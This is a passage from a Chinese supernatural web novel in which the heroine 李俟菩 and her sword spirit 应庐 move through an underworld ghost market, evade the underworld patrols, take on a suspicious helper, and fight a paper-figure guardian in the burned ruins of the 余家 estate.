这般热闹的景象与人间相比,那也是有过之而无不及啊。
市上还有牛头马面巡逻呢,有闹事诡直接就带去给判官抹杀掉,三生三世投不了胎,虽然国人一般都挺讲究文明的。
但凡是在人间修炼的诡,那手上必是沾了人血。
当然,也有秦云此褚逢西一样的特例,除诡师遇诡必除,即使有难言之隐,也是祸害了生灵,必须抓起来交给自家仙门处理。
但这就直接导致判官的阴阳簿少了一笔又一笔,判官虽懂道理,但手下的账算不明白难免心烦,所以一向是井水不犯河水。
不过千百年来,这里都是表面的和平,其实内里一直都是鱼龙混杂的。
“这里的鬼市倒是真不一样。”李俟菩进门后倒是对这里看得更清晰了。
“对啊,还有烧烤摊呢。”
20. 功德+20
“什么烧烤,摊?”李俟菩看向应庐盯着流哈喇子的铺子道,“能吃?”
应庐挤眉弄眼,在清冷美丽的脸上显得非常违和:“要不,我们买来尝尝?”
李俟菩立马就想起自己口袋里被他花掉的红钞,“没钱。”
“你就算有钱我们也吃不了。”应庐却失落地说,眼波流转看向李俟菩的兜,“这里流通的货币我们又没有。”
李俟菩见那摊点冒着热气腾腾的诡食。
虽说食材好像新鲜,但老板手上往上浇的几坨红色液体,一看就不是什么好东西,倒出来的调料是白色粉末状,末了还加了两个“蛋”。
最后那烤串上的东西滴流在烤架里,燃起一团黑火。
“你……真想吃?”李俟菩有些迟疑地问道,难不成剑灵和诡一样,与人类的吃食习惯还是不大相同?
在她们那边的鬼市,食物都还挺正常啊,怎么这里……
应庐口水倒是没流了,转身挽着李俟菩的手就走。
李俟菩被拉得一踉跄,她难以理解地去看他,那这到底是想吃,还是不想吃?
还有,“你等等,普通的诡倒是看不出来我们是活人,你打点的关系里可有包括牛头马面?”
她眼尖,一眼就望到前面两个飘飘荡荡但十分魁梧的诡在四处巡查,手拿钢叉与锁魂链,奇形怪状又身穿铠甲,路过哪里,旁边的诡就连忙低下头去,不敢抬眼相视。
应庐拖腔带调:“当然没有。”
李俟菩回身就去那原先的烧烤摊,背对着愈趋愈近的牛头马面,将那摊上刚出炉的、还发着酸气的两根烤肉递给了应庐。
“吃。”她道。
吃了阴间的东西可以灭掉肩上一缕阳火,有效削减自己身上的阳气,这样,便可神不知鬼不觉地在两位阴官面前蒙混过关。
可那两根烤肉上的腥气怎么也让人忽视不了,嗜血的颜色,白得像某种动物烧灰的粉末,全都糊在烤焦的肉上,光是近距离看着就让人嗳酸。
“不是,你认真的?”应庐从来不会拒绝李俟菩,他澄澈的瞳眸掠过怏怏之意。
这确实是有点儿下不了口。
街市那头的牛头马面越走越近,缺失半张脸的烧烤摊老板说了好多话,又点点他们手里的烧烤,皱巴的脸看起来凶狠恶毒。
李俟菩一张纸钱塞至它嘴里,紧急闭麦。
后直接把那根四不像的肉排送入应庐口中,此时的应庐还在颅内天人交战,口中蓦然吃进异物,他下意识地咬了一口。
应庐:!!!
他脑子比什么都快,胃里顿时滔天翻涌,几乎是作呕地要把嘴里东西拿出来,却突然被在口中爆浆的番茄味压下。
应庐一时顿住,李俟菩余光见牛头马面已经注意到这边,轻声问:“好吃吗?”
他木然地回了句:“好吃。”
李俟菩将他眼睛里的抗拒到吃惊全都收入眼底,见他真情实意,也就放下心来,把手里的烧烤放入嘴中。
一入口,番茄的香味与焦烂的肉香就在嘴里化开,肉质细腻,劲道爽口,回味还有细微无尽的香蒜味儿,她眉眼间不经染上淡淡的欢喜。
她看着卖相恶心的烧烤,头次吃到这么好吃的东西,还不忘礼貌地给那老板竖个大拇指。
老板脸色难看地凝视着这两个先吃后给钱的饿死鬼,在李俟菩给了夸赞后,又傲娇地微微翘起的嘴角。
转眼见到牛头马面,恭敬地抬了抬手,将一大堆烧烤包好递给牛头阿傍,它接过,灰翳的双眼死死盯着啃得不亦乐乎的健全“两诡”。
马面也端详着这两位,李俟菩与应庐背后逐渐发凉,直至应庐把整串烧烤吃完,牛头马面都还没走。
李俟菩倒是吃得开心,搓了搓手里沾上的烧烤黑炭,再抬眼,眸光骤冷,提起五分力就要往牛头矩形的瞳孔劈去。
“哎?这不是阿傍和罗刹吗?”应庐的清越声适时响起,“真是好久不见啊。”
李俟菩堪堪卡在回身时,几分力道散了一半。
牛头马面粗壮的眉头皱得更厉害了,牵扯着鱼尾纹将豆状大小的眼眯得看不见,疏离地盯着这自来熟的诡。
“你是……剑灵?”马面罗刹说起人话来,打了个磕绊。
“是啊老兄,时隔多年,不认得我了?”应庐咬下唇再松开,鹿眼十分明亮,“怪我怪我,鬼语实在是学不好,只能勉强听听,要是不介意,老兄也是可以用鬼语交流的。”
牛头马面自然是会说人话的,因为职责所在,为了勾已死之人的魂魄,不得已人鬼语言双通,但好像这里的牛头马面对人话倒是很生疏,说起来舌头都要转弯打结。
“我不……认识你。”马面的鬃毛一掸,手不自觉地送入美味的烧烤。
牛头哼气一声,钢叉一戳马面的屁股,嘴里流畅地说了什么,马面气得把抢来的烧烤都送去它手里。
应庐踮踮脚尖,“罗刹老哥想吃就吃呗,阿傍兄难道还真要盘问我不成?我知道两位贵人多忘事,记不清老弟也是很正常的。”
熟稔的语气让这两位沉思半天都想不明白到底在哪里见过这个漂亮的男人,马面说:“我们只是站了会儿,你慌什么?”
马面的人话说得比牛头流利一点,应庐不慌不忙:“我还以为,你们要把我刚拐来的新娘抓走呢。”
相比于应庐,李俟菩的活人气可比应庐强太多了,没吃烧烤前,生人味隔了几条街都能闻得到。
牛头马面定是奔着李俟菩去的。
“新娘?”两位阴官审视了李俟菩片刻。
李俟菩镇定自若,背着的手一直握着三分力道,她实在是不想浪费力气与这两位打起来,况且她还有事儿,可耽搁不了,应庐这嘴上便宜占就占了,她事事都无所谓。
牛头思索几秒,对着李俟菩说了句什么,她自是听不懂,半天没答。
马面霍地提起锁魂阵,就要对她出手。
应庐抿下唇线,侧身掩住李俟菩:“我这新娘生前是个哑巴,耳朵也不行,实在是个可怜人,在人间游荡许久也没个着落,我和她看对
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了眼,人间自是无法再待下去,只好把她带到这里来安家。”
“许是在人世飘久了浸了很多阳气,两位老兄若是不信的话,可以去判官那里翻生死簿。”
“有一页写道,二十一许人,大概是立秋八月下旬某天的亥时亡故,死得太急没登性别,没登事迹,只留下个名字。”
“叫做周今庐。”
*
一片死寂,连风都没有,鬼影憧憧,压抑无力的诡气让人窒息,无数倒悬的木乃伊整齐地当着屋顶挂饰,恶浊的空气让覃诩水打了个喷嚏。
“你们人到底懂不懂规矩?来做客居然先往主子头上跳?”
判官扶了扶头上的官帽,厚重的嗓音回荡在凶煞之地,覃诩水在心里早将那小诡骂得狗血淋头。
“判官大人,我们又不是故意的,况且你这官帽都带了多少年了,我们帮你换换……”
陈箐嘴上无遮拦,想到什么说什么,覃诩水赶紧捂住她的嘴。
“这位脑袋有点问题,您别在意,这人不是我们一组的人。”
判官没说话,屋顶的绷带木乃伊一晃,就像晴天娃娃调皮地动了动身子,一截白绷带落至二人脚尖前。
覃诩水和陈箐不由自主地打了个寒颤。
地府之中共有两位判官,一位是好脾气但有恶趣味的掌管生死簿的这位崔判官,据说是生前当了某位皇帝的大臣,在位之时铁面无私,死后被封为“镇百鬼”的第一判官,名声极高。
第二位是专管地狱酷刑的陆判官,这位的脾气是相当不好,生前事不知但极恨奸猾之徒,同样的刚正不阿,总体来说是位好官。
覃诩水再次打了个喷嚏,她呼出一口冷气,“好大人,我们是被只小诡弄下来的,错不在我们啊。”
“是吗?我还以为,你们931要进攻我们地府了呢?”
多少年来,调查组是把生死簿搅得天翻地覆,这位崔判官是每天焦头烂额但无可奈何,今朝好不容易自投罗网来两个捉诡小儿,准要把她们送去陆判官那儿严加拷问,再冠个罪名好好出口气。
“怎么可能呢,大人真是多心了。”覃诩水撑起一个笑容,传言伸手不打笑脸人,即使她的笑比哭还难看。
陈箐费力扒下覃诩水的手,“判官大人,又不是我们想来的,再者说您老每天事儿多,我们调查组与地府各司其职,替您除掉在人间的恶诡还是我们的错了?”
“闭,嘴。”覃诩水咬牙切齿地给了陈箐一个暴栗。
这不摆明了就是在说判官管教无方吗!蠢蛋!
“自从地府出事了以后,你们931与地府的交接员也不干了,你说,地府要是死了两个小丫头,调查组也查不到我们头上吧?”
崔判官那张和蔼的脸上依旧笑着。
阴气弥漫到了千里之外,被鬼市大街充斥的烤肉香味掺和,无法,谁让这鬼市的烧烤实在是太好吃了呢。
应庐又在摊前啃了一根,“话说,你哪来的钱?”
李俟菩道:“我的妙手,无人能敌。”
21. 功德+21
“哇塞,还是头一次听人把偷这个字说得如此神威。”应庐嘴角沾着油渍,放肆笑道,“偷的谁的?我想知道谁这么怨种?”
李俟菩瞥了一眼老板,不疾不徐地离开了烧烤摊。
牛头马面早已被应庐忽悠过去,李俟菩看他的眼神越加幽深。
“对了,还没问,你之前不是在地府练手嘛,是怎么躲过牛头马面的追查的?”
“我第一次放火烧了半边地府,此后三百年,它们就再也不敢管我了。”李俟菩的语气毫无波澜,仿佛在说着平常事。
她唇色极淡,在阴间死亡光线的照耀下,她五官更加明艳。
应庐一口肉差点掉到地上,“阿俟你也太威风了吧,后来判官没找你麻烦?”
“找了,然后我把另一边也烧了。”
李俟菩说得云淡风轻,应庐像是被震惊住了,呢喃道:“这就是你当年能来去自如的原因?看来还是我保守了。”
“你说什么?”
应庐弯唇,吃掉最后一口肉,大眼睛一眨一眨,“我说,阿俟你也太厉害了吧,我真的真的好崇拜你!”
李俟菩却停住脚步,眼中探究之意加深,目光如钩子,还是问出口:“你知神物,很熟悉地府,还知道生死簿上的名字,一个剑灵,不该知晓那么多。”
“当时你可是把我搁在你房间藏了很多年,我就算化灵跑到地府玩儿,你这个只知道修炼的主人也不会知道。”应庐脸上笑意不变,眼底漾起复杂神色。
埋怨的语气没有激起李俟菩的丝毫愧疚,她黑眸藏着转瞬即逝的危险:“你是我的剑灵,我不希望你骗我。”
应庐神情僵住,没有再开口。
他们对视良久,街市来来往往的诡影都变浅,跃动的鬼火无处不在。
应庐叹息,所有的无奈从他喉间泄出,他眼里的玩味终于全都褪下,只余让人溺毙的温柔。
李俟菩心头一涩,周遭仿佛按下暂停键,那张记忆中看不清的脸在此刻有了眼睛。
前方兀地一阵喧哗声,惨叫声由远及近,一只手脚完整的男诡向这边跌跌撞撞地奔来,然后脚一扭,摔得七荤八素。
后面追赶的诡凶神恶煞地叫喝着什么,那男诡立马战战兢兢地爬起来,朝李俟菩衣角抓去,应庐揽过她往旁一侧,那男诡又直直摔趴在地上。
距离拉近一瞬,应庐贴近李俟菩耳边,“下次,等你下次再问的时候,我就把一切都告诉你,再给我点时间。”
丝丝寒气落在颈肩肌肤,她偏头,浓郁复杂的目光近在咫尺,极尽缱绻,她几乎是心口一跳。
李俟菩下意识地推开这个男人,无数个念头在心中闪现又毫无头绪。
应庐投降似地后退两步,垂下眼睫,再抬眼,依旧天真无邪。
地上那男诡颤抖不止,脸色苍白,他乞求地抬起清秀的脸庞,眼含热泪,朝着俯视他的两位贵人说了几句鬼语,然后牙齿打颤地躲到两人身后。
追赶他的诡一脸尖嘴猴腮,眼里全是垂涎意味,舔了舔嘴唇,应庐有点泛恶心。
是个食诡灵?
李俟菩不喜欢管闲事,她也没有救诡的义务,默默往旁边再移一步。
那清秀男诡没了遮挡,陡然暴露在那食诡灵眼中,食诡灵顿时目露凶光,像是一只蓄势待发的猎豹,又叫嚣了两句,就要往这边抓。
应庐却一挡那男诡身前,把那即将要碰到的脏手轻轻一折,强大的冲击力直接折断他整条胳膊的骨头,那诡脸色扭曲地叫出声来。
旁边的路人诡拿起手机就拍下来,还搞现场直播,烧烤摊的老板摇扇子摇得就更起劲了,递给来看热闹的诡一诡一根,钱赚得盆满钵满。
当然,还是有些正义的诡打了报“警”电话,呼叫牛头马面。
李俟菩没插手,略微打量了那长相极为清隽的男诡,再看应庐冷下脸来的样子,想必她的剑灵是一定要管这个闲事了。
罢了,就当一回真菩萨吧,全为了积德。
李俟菩出手,不死都要半身残废,于是那瘦得只剩皮的食诡灵就像一条半死不活的死鱼,呈半圆弧线,被一掌拍在了烧烤摊前,源源不断地呕出黑血,再也站不起来。
烧烤摊老板秉持着来了就要吃好原则,向那就要吐出脏话的诡嘴里堵了根烤烂叶,还顺手摸了一张纸钱,笑得龅牙都露出来了。
应庐倒是有些惊喜于李俟菩的出手,他道:“就知道菩萨是活菩萨,不会不管的。”
“为什么要救?”
救都救完了,才想起来问,应庐似是被她可爱到了,说:“那诡可不是想吃死肉,看这位公子面相如此俊俏,想必是想让他当一回兔儿爷。”
那男诡将呼吸压在胸腔,佝偻着害怕地看向那呼吸渐弱的地上恶诡。
李俟菩明显不知道这词的意思,应庐也没解释,刚刚好不容易送走的牛头马面又折回来,应庐不免叹口气,真是好人难做。
牛头马面二话不说就把应庐铐起来,应庐哭笑不得:“官爷不问问吗?这么做可有失公正呢。”
马面道:“眼见为实,你杀了诡。”
应庐轻然一笑,细长骨节玩着铐子,这可真是睁着眼睛说瞎话。
李俟菩扭头,这可不得不大战一场了。
躲在背后的男诡却说:“大人误会了,是两位贵人救我在先,地上躺着的男诡是个诡贩子,要抓我走。”
他温润的声音配上那张我见犹怜的脸,真叫人侧目。
李俟菩心想,又一个会说人话的诡。
牛头马面自然也不是莽撞不讲理的官,得了当事人的证词,自然跑去一边问了问群诡,得知误会一场,利索地解了铐。
应庐喜提手铐三分钟漫游。
然后提起气息微弱的诡就走,一眼没分给大街上面面相觑的三诡。
“这就走了?”应庐嘟囔道,“真是不分青红皂白的好官呢。”
没热闹可看,众诡又各奔东西,只有那烧烤摊老板赚翻了,唱着奇奇怪怪的调子,继续吆喝着烤肉。
“多谢。”男诡收起了那副可怜模样,抬手作揖。
应庐眨眨眼,道:“你哪朝人?”
男诡也眨眨眼,“我现代人。”
李俟菩跟风眨眼,“不是,你是古风小生。”
应庐一听,仰面哈哈大笑起来。
男诡:?
李俟菩也不知道这人笑啥,朝那男诡问道:“你会说人话?”
男诡愣了,“你不也会说?”
应庐见这两人就要聊起来
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,微微搭上李俟菩的手,“以后你一个人小心点儿哈,我们还有事,就不奉陪了。”
两人绕过男诡就要走,他立马就跪了下来,“两位恩人的恩情我无以为报,请允许我跟着你们二人当牛做马。”
应庐和李俟菩连忙闪身,才没有受上如此大礼。
男诡却转头又朝他们的方向一拜,二人比他快,又躲到一旁,男诡不死心,扭着身子追着继续拜。
他们逃,他追,他们逃,他追……
直至绕了一个三百六十度无死角的大圈。
李俟菩:……
“不是,兄弟,我们只是顺手,你这是干什么?”应庐没见过这场面,无措道。
男诡卖惨卖得可怜兮兮:“我一诡孤苦伶仃,生前就是个孤儿,死了也没人在乎,如今二位救了我,我发誓,从现在起为两位肝脑涂地,绝不背叛,否则不入轮回,天打雷劈!”
他说得十分让人动容,漂亮的眸子里含着报恩的急切。
应庐拿不定主意,看向李俟菩。
她站着没动,沉默良久,最后无可奈何道:“想报恩可以,只要帮我们做两件事,不需要你当牛做马,事成之后就算恩完,切莫再纠缠。”
男诡眼里涌出喜意,他擦擦脸上的灰尘污渍,开口道:“我叫万顷波,一直在地府的窟洞里生活,只要恩人您说,就没有我办不到的事情。”
花满渚,酒满瓯,万顷波中得自由。
李俟菩点头,真是个自由的好名字。
应庐搀起他,三人走到诡流稀少的随意一处拐角,不比于热闹的街市,拐角这条道凌乱不堪,污水满地,甚至还有老鼠的幽魂一窜而过,这般脏乱,更像李俟菩所熟悉的鬼市。
黏腻的阴风吹起李俟菩的发丝。
她说:“我需要知道生犀的下落。”
万顷波眼里闪过一丝不解,但没多问,很快就说出了关于生犀的一些事。
“生犀一般由犀角香制成,需要根据古书上的记载一步一步才能获得,但现在古书早已遗失,生犀一香恐怕再无现世可能。”
“这么说,你也不知道咯?”应庐道。
万顷波冥思道:“若是你们想知道生犀更多的消息,我推荐你们去鬼市的一个地方,不过那里估计也没多少可靠的风声。”
“哪儿?”
“余家老宅。”
李俟菩视线飘至鬼门外,“余家?”
“这余家在十几年前就是专门生产生犀的,所有古书几乎全都是出自余家的藏书阁,声势极旺。”
“人间的捉诡组织也与余家合作甚好,那几年在人间祸乱的诡急剧减少,阳间太平得很。”
“直至余家出了事,一把大火将余家烧了个干净。”
“偏偏那火是由诡油燃起,火势蔓延极快,无人生还,而且听说余家人都受过洗礼,死后不得化为厉鬼,所以那夜烧死的人连魂都没了。”
“老宅也随诡油消散,一半落至地府,一半存于人间。”
应庐胡乱任思绪飞了好一会儿:“你的意思是,鬼市现在就有余家宅子的一半残墟?”
“是的,若你们要去,我可以带路的。”
李俟菩默了半晌,道:“第二件事,帮我找两个人……诡。”
22. 功德+22
李俟菩不知道该怎么形容那两鹅,她没法全身心去信任一个人,更别说这个看起来违和又可疑的报恩人,也包括她的本命剑应庐。
她能感觉到,应庐与她头脑中那个存疑的师兄是有关联的,而且关系还不小,虽说她的猜测可能有些大胆,不过等她想清楚其中窍门,便不会受人牵制了。
应庐知道多少她不清楚,无论是神物刺激的记忆,还是她掉落异世界的真相。
下次,下次若她真问了,这个披着小狗皮的狐狸就一定会告诉她吗?
不过反正也不急于这一时,就算应庐不告诉她,她也会自己去查清楚,她做事从不会依赖别人的答案。
鬼市场景一再变换,不知不觉间,她便跟着万顷波来到了一处十分萧瑟之地。
萧瑟也不尽然,只是这里实在是特殊,一点儿也不像伫立于鬼市的一间凶宅废墟。
断壁残垣中,细小石子与灰尘铺满了这一大块区域,干涸的血迹呈喷射点滴之势印在木墟板上。
地府里没有新芽长成的树,除了凋败还是凋败。
只有一颗腐朽的枯树被砍了枝桠,其形高达25米,瑟瑟耸动树根,状如骨肉之躯巍然不动。
树浆呈黑红流淌在坑洼的灰褐色表皮裂纹,就像人的血泪,无处申诉。
“槐树?”李俟菩出声。
老槐树离腐宅大门不过二里,看起来格外的突兀显眼。
“余家当年声势赫奕,这槐树还是调查组的高层领导从自家院子移植过来的。”万顷波脸上忽明忽暗。
“当时合衷共济,荣辱与共,如今竟是连余家的一些功绩都归于自己身上了,生犀之法也都付之一炬,哪想最后落得是如此之景。”
李俟菩不着痕迹地瞄了他手尖,看来这就是赵慵没说的关于生犀的“说来话长”。
依赵慵之口,生犀是明令禁止了,而不是没有才不用。
二者性质不同,自然目的就不同,看来这事与余家为什么被烧有关。
余家……
李俟菩听到这句脑海中浮现的第一个人,就是自己的队友。
“旧时王谢堂前燕,飞入百姓寻常家。”应庐感伤一句。
在无人察觉的角落,细风吹起十几年前偶然落下的绿叶,叶身早焚烧殆尽,只余脉络根部像峥嵘的多愁山,飘落至槐树下,神似铩羽。
“余家当夜真的无人逃出来?”李俟菩问。
“对,当时调查组还派搜救队一队一队进去找过,全都石沉大海,最后才确定的确是一个人都没有躲过。”
鬼火的光在李俟菩脸上蹦跶得起劲。
“十几年前?那到底是多少年?”应庐踩着石子窸窣作响,“这么大,只是余家一半的宅子?”
几人踏入宅子大门,准确来说不算大门,宅子木门被东倒西歪烧了一半,好多年了,门柱木块还透着烧焦的红火,烧得噼啪响。
万顷波道:“对,大概是十二年前,15年前后,不过这附近基本没有诡来,就算有也都是些小诡打着古卷古籍的招牌,坑蒙拐骗。”
他走在前面,李俟菩抹了抹木桩上残存的灰黄油脂,自然送到应庐鼻尖,应庐听话地闻了闻,朝她点头示意。
古香古气的建筑倒是让李俟菩有些回到了她那个世界的错觉,她和应庐对视一眼。
应庐便环臂道:“除了你说的这种外,获得生犀的法子还有没有别的?比如快一点儿的,邪门一点儿的?”
他故意露出懵懂的眼神,夸张形容了一下,紧盯万顷波的脸色,不想对面这人还真不负给自己冠的万事通外号,道:“有,十分邪门。”
“什么?说说呗。”应庐眼里的好奇怎么也止不住。
万顷波压低声线:“炼诡。”
应庐吃惊地挨紧李俟菩:“啊?!还有这么邪门的办法呢,不会遭天谴吗?”
李俟菩唇角一勾:“你见过?”
“没有。”万顷波摇摇头,“但是听过。”
“那你为什么知道这么多?你原是931里的人?”
“恩人太瞧得起我了,我哪里够得上,不过是个新闻工作者,这些八卦我当然知道。”
李俟菩瞥了应庐一眼,应庐道:“哦,那还挺不错的,你的工作是区域报道的新闻,还是?”
“区域性的,我们也就是将当地发生的事情收集起来,然后真实客观的报道给人民嘛。”
新闻,按字面意思来翻,就是新的见闻,李俟菩懂了。
“这工作我听说能赚很多钱,那你是怎么死的?”应庐毫无情商地问了一句,给万顷波干沉默了。
他不好拒绝,干脆道:“时候也不早了,我要先去做第二件事了,呃我再确认一下,你们要找一个双马尾姑娘和一个长发姑娘是吗?”
形容得这么笼统去找人真能找得到吗?
应庐不但这么想,也就这么说了,万顷波给出的回答是:“恩人不太信任我呢,不过,我的诡脉可是直通崔判官的身边诡哟。”
应庐哼笑出声,“刚刚你不还说你是孤苦伶仃之人?”
“无一知己人,可不就是无依无靠?”
万顷波落寞地说了一句,然后挥手走了。
他身形颀长,半点看不出刚刚那副佝偻胆小之态,直至他的背影成了个小黑点,消失在黑茫茫的一片。
李俟菩说:“这就是你要救他的理由?”
“哎呀呀,不施点小恩,怎么打探生犀呢?将计就计也没什么不好,而且余家也是一个重要线索,不亏。”应庐道。
“若不是他别有用心,我不会救他。”李俟菩眉眼冷若冰霜。
他俩挨得有点近,应庐的发尾粗略几根扫到她的侧脸,她偏头,脚后跟抵住快要倒下的门柱。
“别那么冷漠嘛,那么多人他不求救,偏找我们,或许,他见你美若天仙——”
话音没落,杀气落了,应庐话头转了个弯。
“或许,他就是雇那小诡的老板?”
“知道你不懂鬼语,为了方便交流,居然直接说人话,明知你是人,找的同伴也是人,却着重点出崔判官,他还真是……”
“不是。”李俟菩道。
“他应该也是替人办事,不过来送我们到余家老宅一程,看来第二件事他是不会去做了。”
“至于提醒我们覃诩水与陈箐在崔判官那里,也许那小诡老板盯上我了。”
应庐附和道:“也是,不然不会特意地把她俩支开,单独给你演一出戏,不过这老
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板到底想干嘛?”
李俟菩屈身,叩了几下木板,上面隐约有血字显现,“太巧合,我猜,这老板是何诏的恩人。”
“幕后人看来权势很大啊,连调查组的案子方向都能了如指掌,那生犀很有可能是通过炼诡提取的,引我们来余家,不过是用一场大火堵死我们要调查生犀的路。”
“如此监视,连我和覃诩水要逛商场都能知道。”
应庐也抱腿蹲下,道:“对啊,真是煞费苦心,还给我们留了字呢。”
——有缘千里来相会,无缘对面不相逢。
“这人到底想干嘛?谁跟他有缘?”应庐没好气道。
血雾生花,朽木生根,好手笔。
“幕后人不会无缘无故盯上我,你和何诏打过照面,何诏一定和他们那边说过你是我的人。他们自知获取神物的最大障碍是调查组,所以来探我底细,辨我虚实。”
“赵慵若执意查下去,阻力不小。”
李俟菩在旁边分析得头头是道,应庐却听得脸上浮起一层薄红,他耳朵里只有巴拉巴拉你是我的人巴拉巴拉。
“怎么?”李俟菩见他走神,以为他发现了什么重要线索。
应庐结巴一声,在李俟菩的视线下,耳根都红得彻底,“啊,哦,不过走别人安排好的路,可是很不甘心的嘞。”
他朝自己扇扇风,“对了,你是怎么发现万顷波不对劲的?”
“他演技太差。”李俟菩如是说,“底盘稳,手上有茧,是个习武之人。”
“哇,阿俟如此慧根,真不是凡人可比。”应庐抬起下巴,鼓掌道,在她要动手时,抬脚走入老宅深廊,“走吧走吧,看看给我们留了哪些信息?”
他生怕被一掌打得残废,蹦蹦跳跳地向前跑着,要说这老宅是怎么对半砍的,估计是腰斩,而且鬼市的老宅更相对完整一些。
宅门正对着的影壁已经被烧得看不清是怎样辉煌的景象,只有缀点的白色槐花落下不可磨灭的痕迹。
向左拐便来到垂花门,走进是东西两厢房,布局严谨。
只不过走进内院,不见正房,大计是留在人间了,可能还包含藏书阁后花园那些。
抄手游廊之中,李俟菩站至中心,她鼻尖一动,“你有没有闻到什么味道?”
应庐躬身往地下嗅着:“熟悉的灵气。”
“这老板真是棋差一招啊,这样一来,岂非更加让我们确定了当年余家之下,藏有神物?”
“画虎刻鹄。”李俟菩淡淡,“除去土中碧,第二个神物他们就是在这里拿到的。”
“不过我怎么感觉,他们不会这么轻易放过我们呢?”应庐环顾一圈,散漫着说。
踏入内院大门,就感觉深一脚浅一脚,这里黑得厉害,亡灵火焰都看不到几个了,就像误入了某种动物的内脏,气息薄弱。
“看来浓雾要来了,就知道是布下了什么不入流的把戏。”应庐道,“自以为天衣无缝,没想到我们比他们更能感知到神物的存在?”
应庐感觉什么东西在拉着他裤脚。
“那我们待会儿见?”他抬抬手,目含不舍。
没等李俟菩应答,整个人就被浓雾融去,她回头。
黑雾之下,独她一人。
23. 功德+23
无尽的黑暗侵蚀着李俟菩,渐渐地,她双手也被雾掩盖,恐惧迷惘在耳畔一侧呼叫,她快看不清两边的厢房。
四周僻静得能听见自己的心跳声。
在废旧的老宅子里布阵对阵修之人来说是得心应手的,更别说这布阵之人极善隐蔽之法,她一走进,两眼都还没瞧出阵眼在何处。
这个世界的人,可真是越来越好玩了。
蓦然,她听见一声巨物砸在地上的闷响声,如雷灌耳,声音大得简直要刺穿她的耳膜。
一时间浮尘飘扬,她一脚轻点地,跃后三步,右手拂去快要吸入鼻间的尘土。
雾霭沉沉,视线里根本看不清什么物什,只能凭直觉判断,那巨物应该临近一点钟方向,西厢房附近。
听声音,两层夹板一空隙,落脚还有回荡声,典型的灵柩结构。
没待她往深处想,破空之声,疾如闪电,那处发出凄厉的尖叫声,就要朝她砸来!
她双足一错,鬼魅般闪现一旁,乌木残影掀起她衣袂,猎猎作响之际,她瞥到了一顶厚重的棺材。
接着从那厚棺后飞向一个人影,那人出手又快又狠,李俟菩一个倒翻,两腿夹紧了那人的如纸折的脖子,用力绞动。
只听那人骨骼裂动咔嚓一声,滚烫鲜血喷薄而出,粘上她葱黄衣襟一点。
她嫌恶地当胸一踹,后稳稳立于那棺材板上,看那浓雾中的人影猝然倒地。
可鬼市里哪有什么人,只有虚化的恶诡。
于是那东西才触及地面一瞬,又迅速地飞弹而起,把快要断裂的脑袋窸窸窣窣扶正,歪歪扭扭地并腿跳过来。
那绞断的口子随着身体的跳动倾斜,脑袋要落不落,黑雾里只剩液体涌出的流动声,好一副诡异骇人的场景。
它跳得极快,李俟菩脚下的棺材盖也在不停地晃动,她飞身落下,朝棺材身一记猛踹,力道之大,足以让一个人的脑袋如切开的西瓜一样四分五裂。
小叶桢楠乌木棺里的东西才稍稍停歇。
越跳越近,越跳越近,不见丝毫呼吸声,待它完全暴露在浓雾外,李俟菩才看清它的模样。
一张惨白脸,两弯朱砂眉,猩红的唇带着僵硬的笑意,它没有眼睛。
“纸人?”
李俟菩又踢了踢有些害怕得摇晃的棺材,“棺纸人。”
那纸人薄如蝉翼,交手时却是真人真骨,粗糙黄纸扎成的人形,它低吟了一句什么,空洞的眼眶死死看着李俟菩。
两脚停在棺材五步开外,不再靠近。
假作真时真亦假。
这次对方可真是遇上祖宗了,她用纸扎人做阵兵时,这群东西还不知道在哪儿呢。
搞来搞去,全都是李俟菩玩剩下的东西。
纸人猛然发出粗涩笑声,它不满地撕扯着自己的脸,煞气冲天。
四肢不协调地沾上脸颊那红色块,顿住,然后机械地往眼眶戳去。
它没有脑子,却还是知道了危险的降临,笑声戛然而止——
“给自己点睛,可不是个好习惯。”
李俟菩不知何时闪到纸人身后,肉眼几乎看不见她的身影。
低沉有力声如银蛇绕颈般灌入那纸人不存在的耳朵中,它低身一截,她却抢先拧向断裂那处,使劲地撕下了它的头。
簌簌抖动的手滞留半空,也没被放过,李俟菩两指一削,那纸人便双手成灰。
云雾交织,笼罩老宅无边昏凝黑浪。
啪啪——
是人有节奏的拍掌声。
“飘逸之姿,仿若仙人,若持一剑,雁过拔毛。”
乌木棺材后走出一人,声音温润如玉,清新脱俗,但他身上的怨气太重,冲得人鼻子发酸。
李俟菩都懒得去看这装模作样之人,抖落抖落自己的衣裳,迎接这阵法的第二阶段。
她粗略一算,不出十步,她能给这诡捅个对穿。
“还请李小姐手下留情啊,我可只有这么一个孩子。”
那男诡披了件鸦青长袍,手拿折扇,长发用根木簪盘起,笑意盈盈道。
白得透明的脸上流露些许恳求,他有些心疼的含情眸一直落在纸人消失的双臂。
知道她姓李,来头不小。
“是吗?”李俟菩直接一掌将这残缺的纸人拍成灰,“一个纸人,也会有感情吗?”
男诡温和的笑意淡下去,扫了一眼那飞在空中的渣:“看来李小姐并不打算给在下一个面子呢。”
这诡嗓音像个钩子,醇厚如酒,不过李俟菩倒也乐得陪它玩下去,只是对方这身装扮,怎么看都不像是当世之人。
“哦,你才是棺纸人。”李俟菩一语道破,并不接他的话,“这是从哪儿抢来的人皮?装起人来,还像模像样。”
棺纸人,用俗话说,就是纸扎点睛变成的活人与生前棺材里的主人订了某种契约,生生世世庇护着棺椁,即使里面的人早已经化为一抷黄土。
不过这种大多都是,为了不被盗墓者肆意打开棺材盗取陪葬物品而设,看那棺木材质,里面的人不仅懂得鬼法之术,还颇有威望,非富即贵。
“不才,正是在下自己长的。”依旧温柔似水。
李俟菩冷嘲:“纸人生肉,想必是用了某种特殊的法子,你一个纸人背着棺材走不了多远,凭空出现在余家老宅,莫非你的主人,是余家老家主?”
她看了看那棺材的周沿,“棺材盖被撬动过,你胆子不小啊,居然背主,不怕遭契约反噬吗?”
男诡的瞳色冷下去,“从不忠主,又何来背主?老头子替我点睛时,可曾想过我愿不愿意做这囚鸟?”
“哦,这么说,这里面真是余家老家主?”
李俟菩成功套话,男诡脸色瞬间变得铁青。
她继续道:“我听万顷波说,余家当日生人未还,死人却安息了,你守着棺材在地下逃过一劫,出土后发觉天下之大,你心有不甘便想斜肩弛担,逍遥天地,是也不是?”
男诡目光逐渐阴沉,心头覆上怒火,语气刻薄:“关你何事——”
气息出岔,破绽百出,李俟菩一招飞鸿点地,直戳他要穴。
“我有说让你回答了吗?”她竟是笑了。
男诡顿感手脚一麻,单膝跪地。
“所以,你是小诡和万顷波的老板吗?”李俟菩居高临下,眸子清寒。
